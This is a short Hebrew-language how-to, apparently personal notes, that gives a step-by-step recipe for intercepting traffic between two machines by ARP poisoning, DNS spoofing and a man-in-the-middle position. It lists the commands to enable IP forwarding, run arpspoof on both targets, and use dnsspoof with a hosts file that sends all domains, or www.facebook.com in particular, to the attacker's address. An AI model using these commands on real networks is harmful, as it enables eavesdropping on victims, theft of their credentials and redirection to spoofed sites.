ARP Poisoning + DNS Spoof + MITM

המטרה: תפיסה וניתוב התקשורת בין צד א' לצד ב' ע"י צד ג' (אני)

הביצוע:

1. הגדרת ip forwarding על מנת שמידע שמגיע אלי מצד א' יועבר "כרגיל" לצד ב'

```
echo 1 > /proc/sys/net/ipv4/ip_forward
```

#תיקיית PROC היא תיקייה שמתאפסת לאחר ריסטרט

2. לוודא שמותקן DSNIFF
3. מבצעים ARP Poisoning ע"י פקודת ARP Spoof

```
arpspoof -i <interface> -t <target1> <target2>
```

target1 המחשב אליו אנחנו שולחים ARP, target2 המחשב איתו הוא מנסה לדבר (למשל ה DF או ה DNS)
#כדאי לעשות אותו דו צדדית כדי לעשות MITM (כבר בשלב זה אפשר לצפות במידע שעובר)

4. ניתוב תעבורה כללית או ספציפית אלינו במקום אל היעד המקורי

```
echo "MY-IP *" > hosts.txt
```

או

```
echo "MY-IP  www.facebook.com" > hosts.txt

dnsspoof -i <interface> -f hosts.txt
```